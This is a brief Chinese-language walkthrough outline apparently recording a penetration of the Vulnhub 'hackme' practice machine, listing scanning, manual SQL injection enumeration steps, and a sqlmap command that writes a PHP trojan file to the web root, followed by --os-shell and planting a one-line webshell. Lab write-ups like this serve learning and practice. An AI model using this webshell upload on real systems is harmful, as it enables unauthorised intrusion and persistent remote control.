Vulnhub靶机渗透之 hackme

1.扫描存活主机和目录

进入robots.txt看看

2.sql爆破（手工）

order by 3，order by 4

查库

查表

查字段

查全部

因为没有写东西的地方，我们回去一个个目录扫

找到了网站的绝对路径

3.sqlmap提权

sqlmap -r ./data.txt --file-write="muma.php" --file-dest="/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/20.php"

--os-shell连接

写入一句话木马